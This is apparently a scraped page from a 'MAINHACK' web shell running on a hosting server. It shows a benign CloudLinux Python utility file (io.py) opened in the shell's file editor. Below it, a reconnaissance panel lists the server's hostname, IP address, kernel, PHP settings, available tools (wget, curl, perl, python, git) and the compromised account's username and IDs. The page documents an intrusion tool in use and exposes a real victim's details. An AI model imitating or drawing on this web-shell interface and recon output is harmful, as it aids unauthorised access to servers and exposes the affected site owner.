[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: io.py
File is not writable. Editing disabled.
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2024 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import errno import functools import logging import os import sys import tempfile import secureio from clcommon import clcaptain from clcommon.utils import ExternalProgramFailed logger = logging.getLogger(__name__) def read_file(filename, exit_on_error=True): """ Helper for read file, process errors and make backup before read :param: filename `str` name of file for read :param: exit_on_error `bool` use sys.exit on error or raise exception """ try: with open(filename, "r") as _file: return _file.readlines() except (OSError, IOError): secureio.logging("Error: failed to read " + filename, secureio.SILENT_FLAG, 1) if not exit_on_error: raise sys.exit(1) @functools.cache def read_file_cached(path): return read_file(path) # Returns True if error has occured def make_userdir(path, perm, uid, gid, parent_path): # Create directory if it does not exist, and set permissions/owner fd = secureio.create_dir_secure( path, perm, uid, gid, parent_path, logger=secureio.logging ) secureio.closefd(fd) return fd is None def switch_symlink(dest_path, link_name, write_log=True, force=True, silent=False): if force or not os.path.islink(link_name): try: os.unlink(link_name) except OSError as e: if e.errno == errno.ENOENT: # No such file error logger.info(f"Symlink {link_name} does not exist") else: logger.error(f"Error: Unable to remove symlink {link_name}", exc_info=e) try: clcaptain.symlink(dest_path, link_name) except (OSError, ExternalProgramFailed) as e: msg = f"Error: failed to create symlink {link_name} to {dest_path} : {str(e).replace('Errno', 'Err code')}" logger.error(msg, exc_info=e) if write_log: secureio.logging(msg, silent, True) else: print(msg, file=sys.stderr) return True return False def write_via_tmp(directory, filename, content): temp_path = None try: with tempfile.NamedTemporaryFile("w", dir=directory, delete=False) as tmp_file: temp_path = tmp_file.name tmp_file.write(content) tmp_file.flush() os.fsync(tmp_file.fileno()) os.replace(temp_path, filename) finally: if temp_path and os.path.exists(temp_path): try: os.remove(temp_path) except OSError: pass def apply_metadata_nofollow(path, mode, uid, gid): # Open with O_NOFOLLOW so a symlink planted at `path` between, e.g., # write_via_tmp's os.replace and this call raises ELOOP rather than # being followed; fchmod/fchown then act on the inode via the fd. fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_CLOEXEC) try: os.fchmod(fd, mode) os.fchown(fd, uid, gid) finally: os.close(fd)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.58 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A